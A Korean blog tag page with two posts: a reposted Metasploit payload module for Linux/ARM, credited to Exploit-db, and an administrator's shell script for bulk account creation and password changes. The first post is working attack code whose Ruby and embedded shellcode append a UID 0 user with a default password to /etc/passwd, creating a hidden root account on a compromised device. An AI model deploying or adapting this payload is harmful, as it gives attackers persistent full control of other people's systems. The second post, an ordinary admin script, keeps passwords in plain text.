'adduser'에 해당되는 글 2건

  1. 2010.12.09 Create a New User with UID 0 - ARM (Meta)
  2. 2009.08.24 리눅스 계정 자동 생성 및 비밀번호 일괄 변경
2010.12.09 18:41

Create a New User with UID 0 - ARM (Meta)

# Exploit Title: Linux/ARM - Create a new user with UID 0 (MSF) # Date: 2010-11-25 # Author: Jonathan Salwan - twitter @shell_storm # Tested on: ARM926EJ-S rev 5 (v5l) # Issue link: https://metasploit.com/redmine/issues/3254 ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' ### # # AddUser # ------- # # Adds a UID 0 user to /etc/passwd. # ### module Metasploit3 include Msf::Payload::Single include Msf::Payload::Linux def initialize(info = {}) super(merge_info(info, 'Name' => 'Linux Add User', 'Version' => '???', 'Description' => 'Create a new user with UID 0', 'Author' => [ 'Jonathan Salwan' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Privileged' => true)) # Register adduser options register_options( [ OptString.new('USER', [ true, "The username to create", "metasploit" ]), OptString.new('PASS', [ true, "The password for this user", "metasploit" ]), OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]), ], self.class) end # # Dynamically builds the adduser payload based on the user's options. # def generate_stage user = datastore['USER'] || 'metasploit' pass = datastore['PASS'] || 'metasploit' shell = datastore['SHELL'] || '/bin/sh' str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n" strl1 = [ (str.length)+52 ].pack('C*') strl2 = [ str.length ].pack('C*') pwdir = "/etc/passwd" payload = "\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" + "\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" + "\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" + "\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" + strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" + "\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" + str + pwdir end end
출처 : Exploit-db

Trackback 0 Comment 0
2009.08.24 19:37

리눅스 계정 자동 생성 및 비밀번호 일괄 변경

계정 자동 생성 및 비밀번호 변경을 위한 계정이름과 비밀번호를 쌍으로 파일 생성

ex) userlist.txt
user01:passwd01
user02:passwd02
user03:passwd03

위 파일에 계정 생성 또는 비밀번호 변경이 필요한 계정 정보를 추가를 하도록 하면 됩니다.

그런 후 crontab 에 주기적으로 해당 정보를 업데이트하도록 하겠습니다.

예제 쉘스크립트

#!/bin/bash

for i in `awk -F : '{print $1}' user.txt`
do
  /usr/sbin/adduser $i
done

/usr/sbin/chpasswd < userlist.txt
rm -f userlist.txt

위 쉘스크립트가 실행되면 계정 생성 및 비밀번호 변경이 일괄적으로 처리됩니다.

웹프로그램이나 기타 활용 용도에 사용이 가능합니다.


스크립트 출처 : http://llls.net/


# ls -l 2006* | nawk '{print $9}' | xargs -I {} -t cp From-Dir/{} To-Dir/{}
--> -I 가.. insert   ,   -t 는 trace 라는데.. 진행상황를 보여주는 것 같음.
       {} 요게 포인트인데.. Pipe 로 받은 list 를 대체 하는것


Trackback 0 Comment 0